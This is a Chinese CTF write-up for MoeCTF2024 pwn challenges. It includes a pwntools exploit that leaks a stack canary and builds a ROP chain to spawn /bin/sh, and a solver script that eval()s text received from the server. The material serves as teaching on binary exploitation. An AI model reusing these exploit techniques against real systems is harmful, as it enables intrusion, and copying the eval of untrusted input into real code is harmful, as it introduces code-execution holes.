Moe2024-wp

Pwn

NX_on

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 func()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v5; // [rsp+Ch] [rbp-24h] BYREF
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
puts("Wellcome to MoeCTF2024!");
puts("This time.....");
puts("NX is enabled!");
puts("Your id?");
read(0LL, v6, 25LL);
puts("Confirm your id:");
puts(v6);
puts("Your real name?");
read(0LL, &buf2, 256LL);
puts("Use your real name as id?");
puts("give me the size of your real name , 0 means quit");
fflush(stdin);
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v5, v0, v1, v2, v3);
if ( v5 )
{
if ( v5 > 16 )
puts("Number out of range!");
else
j_memcpy(v6, &buf2, v5);
}
return v7 - __readfsqword(0x28u);
}

题目开启了NX和canary,显然可以泄露出来canary。因为v6在rbp - 32位置处,而能够输入25个字节,canary在rbp-8处。正好能够覆盖最低的一个字节,使得将canary泄露出来。

随后将buf又copy到了v6处,那么利用buf即可完成控制程序返回地址。

v5接收的时候是强转unsigned int那么传入-1即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.arch = 'amd64'
# p = process("./pwn")
p = remote('127.0.0.1', 46281)
payload = b'a'*24 + b'B'
p.send(payload)
p.recvuntil(payload)
canary = p8(0) + p.recv(7)

# ROP
syscall_addr = p64(0x0000000000402154)
bin_sh_addr = p64(0x00000000004e3950)
pop_rax = p64(0x00000000004508b7)
pop_rdi = p64(0x000000000040239f)
pop_rsi = p64(0x000000000040a40e)
pop_rdx_rbx = p64(0x000000000049d12b)
# pause()
payload = b'a'*24 + canary + b'b'*8 + pop_rax + p64(59) + pop_rdi + bin_sh_addr + pop_rsi + p64(0x0) + pop_rdx_rbx + p64(0) + p64(0) + syscall_addr
p.send(payload)
p.recvuntil(b'quit\n')
p.sendline(b'-111')

p.interactive()

这个-111确实看了一下wp,一开始发送的是-1,一直不行。然后,最后一个recvuntil是不能删除的,我们本地调试的时候可以不加这个recvuntil,但是远程环境是,我们发送数据包,对方接收大概率相差无几,很有可能最后两个payload会叠加然后一起被处理,所以会出错。

NotEnoughTime

这题是简单的IO交互,处理字符。用eval就很快。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# context.log_level = 'debug'
p = remote("127.0.0.1", 41087)
p.sendlineafter(b"=", b"2")
p.sendlineafter(b"=", b"0")
p.recvuntil(b"!")
for i in range(20):
expression = p.recvuntil(b'=')
print("exp:", expression)
expression = expression.decode('utf-8')
expression = expression.replace("\n", "").replace("/", "//")[:-1]
print("exp_after:", expression)
ans = eval(expression)
ans = str(ans).encode('utf-8')
print("ans:", ans)
p.sendline(ans)
p.interactive()

ez_shellcode


Moe2024-wp
https://loboq1ng.github.io/2025/03/24/Moectf2024-wp/
作者
Lobo Q1ng
发布于
2025年3月24日
许可协议